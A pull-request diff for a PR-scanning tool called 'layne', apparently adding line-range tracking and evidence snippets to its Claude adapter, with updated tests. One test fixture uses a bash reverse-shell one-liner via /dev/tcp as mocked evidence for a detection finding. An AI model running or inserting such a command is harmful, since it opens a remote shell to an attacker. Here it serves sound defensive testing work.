Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .changeset/ten-papayas-enjoy.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
"layne": patch
---

Fixes an issue in the Claude adapter that makes it hallucinate code lines when reporting it
59 changes: 56 additions & 3 deletions src/__tests__/adapters/claude.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -109,10 +109,14 @@ describe('runClaude()', () => {
mockReadFile.mockResolvedValueOnce(DUMMY_CONTENT);
mockCreate.mockResolvedValueOnce(findingResponse([{
file: 'src/app.js',
line: 42,
startLine: 42,
endLine: 42,
anchorKind: 'line',
anchorLine: 42,
severity: 'high',
message: 'Reverse shell detected',
ruleId: 'reverse-shell',
evidence: 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1',
}]));

const findings = await runClaude({
Expand All @@ -125,8 +129,13 @@ describe('runClaude()', () => {
expect(findings[0]).toMatchObject({
file: 'src/app.js',
line: 42,
startLine: 42,
endLine: 42,
anchorKind: 'line',
anchorLine: 42,
severity: 'high',
message: 'Reverse shell detected',
evidence: 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1',
ruleId: 'claude/reverse-shell',
tool: 'claude',
});
Expand All @@ -135,8 +144,8 @@ describe('runClaude()', () => {
it('returns multiple findings', async () => {
mockReadFile.mockResolvedValue(DUMMY_CONTENT);
mockCreate.mockResolvedValueOnce(findingResponse([
{ file: 'a.js', line: 1, severity: 'high', message: 'bad', ruleId: 'r1' },
{ file: 'b.js', line: 2, severity: 'medium', message: 'meh', ruleId: 'r2' },
{ file: 'a.js', startLine: 1, endLine: 1, severity: 'high', message: 'bad', ruleId: 'r1', evidence: 'bad' },
{ file: 'b.js', startLine: 2, endLine: 3, severity: 'medium', message: 'meh', ruleId: 'r2', evidence: 'meh' },
]));

const findings = await runClaude({
Expand All @@ -146,6 +155,8 @@ describe('runClaude()', () => {
});

expect(findings).toHaveLength(2);
expect(findings[0].startLine).toBe(1);
expect(findings[1].endLine).toBe(3);
expect(findings[0].ruleId).toBe('claude/r1');
expect(findings[1].ruleId).toBe('claude/r2');
});
Expand Down Expand Up @@ -272,4 +283,46 @@ describe('runClaude()', () => {

expect(mockCreate).toHaveBeenCalledTimes(1);
});

it('numbers file lines and includes changed line ranges in the prompt', async () => {
mockReadFile.mockResolvedValueOnce('first();\nsecond();');
mockCreate.mockResolvedValueOnce(cleanResponse());

await runClaude({
workspacePath: WORKSPACE,
changedFiles: CHANGED_FILES,
changedLineRanges: { 'src/app.js': [{ start: 2, end: 2 }] },
toolConfig: ENABLED_CONFIG,
});

const callArgs = mockCreate.mock.calls[0][0];
const userContent = callArgs.messages[0].content;
expect(callArgs.system).toContain('copy a short exact evidence snippet verbatim');
expect(callArgs.system).toContain('Do not guess locations');
expect(userContent).toContain('Changed lines in this PR: 2-2');
expect(userContent).toContain('1 | first();');
expect(userContent).toContain('2 | second();');
});

it('accepts legacy line-only findings and normalizes them into spans', async () => {
mockReadFile.mockResolvedValueOnce(DUMMY_CONTENT);
mockCreate.mockResolvedValueOnce(findingResponse([{
file: 'src/app.js',
line: 7,
severity: 'high',
message: 'legacy shape',
ruleId: 'legacy',
evidence: 'console.log("hello");',
}]));

const [finding] = await runClaude({
workspacePath: WORKSPACE,
changedFiles: CHANGED_FILES,
toolConfig: ENABLED_CONFIG,
});

expect(finding.line).toBe(7);
expect(finding.startLine).toBe(7);
expect(finding.endLine).toBe(7);
});
});
2 changes: 2 additions & 0 deletions src/__tests__/dispatcher.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ const { dispatch } = await import('../dispatcher.js');
const BASE = {
workspacePath: '/tmp/ws',
changedFiles: ['src/app.js', 'src/utils.js'],
changedLineRanges: { 'src/app.js': [{ start: 2, end: 4 }] },
baseSha: 'abc123',
baseRef: 'main',
labels: [],
Expand Down Expand Up @@ -134,6 +135,7 @@ describe('dispatch()', () => {
await dispatch(BASE);
expect(runClaude).toHaveBeenCalledWith(expect.objectContaining({
toolConfig: { enabled: false, model: 'claude-haiku-4-5-20251001' },
changedLineRanges: { 'src/app.js': [{ start: 2, end: 4 }] },
}));
});

Expand Down
47 changes: 46 additions & 1 deletion src/__tests__/fetcher.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ vi.mock('child_process', () => ({
execFile: mockExecFile,
}));

const { createWorkspace, setupRepo, getChangedFiles, checkoutFiles, cleanupWorkspace } = await import('../fetcher.js');
const { createWorkspace, setupRepo, getChangedFiles, getChangedLineRanges, checkoutFiles, cleanupWorkspace } = await import('../fetcher.js');

// ---------------------------------------------------------------------------
// Helpers
Expand Down Expand Up @@ -179,6 +179,51 @@ describe('getChangedFiles()', () => {

// ---------------------------------------------------------------------------

describe('getChangedLineRanges()', () => {
beforeEach(() => vi.clearAllMocks());

it('parses added and modified line ranges from a zero-context diff', async () => {
mockExecFile.mockImplementationOnce((cmd, args, cb) => cb(null, [
'diff --git a/src/app.js b/src/app.js',
'--- a/src/app.js',
'+++ b/src/app.js',
'@@ -2,0 +3,2 @@',
'+x',
'+y',
'diff --git a/src/util.js b/src/util.js',
'--- a/src/util.js',
'+++ b/src/util.js',
'@@ -10 +10 @@',
'-old',
'+new',
].join('\n'), ''));

const ranges = await getChangedLineRanges({ workspacePath: '/tmp/ws', baseSha: 'b', headSha: 'h' });

expect(ranges).toEqual({
'src/app.js': [{ start: 3, end: 4 }],
'src/util.js': [{ start: 10, end: 10 }],
});
});

it('ignores deleted hunks that have no lines in the head revision', async () => {
mockExecFile.mockImplementationOnce((cmd, args, cb) => cb(null, [
'diff --git a/src/app.js b/src/app.js',
'--- a/src/app.js',
'+++ b/src/app.js',
'@@ -5,2 +5,0 @@',
'-x',
'-y',
].join('\n'), ''));

const ranges = await getChangedLineRanges({ workspacePath: '/tmp/ws', baseSha: 'b', headSha: 'h' });

expect(ranges).toEqual({ 'src/app.js': [] });
});
});

// ---------------------------------------------------------------------------

describe('checkoutFiles()', () => {
beforeEach(() => {
vi.clearAllMocks();
Expand Down
Loading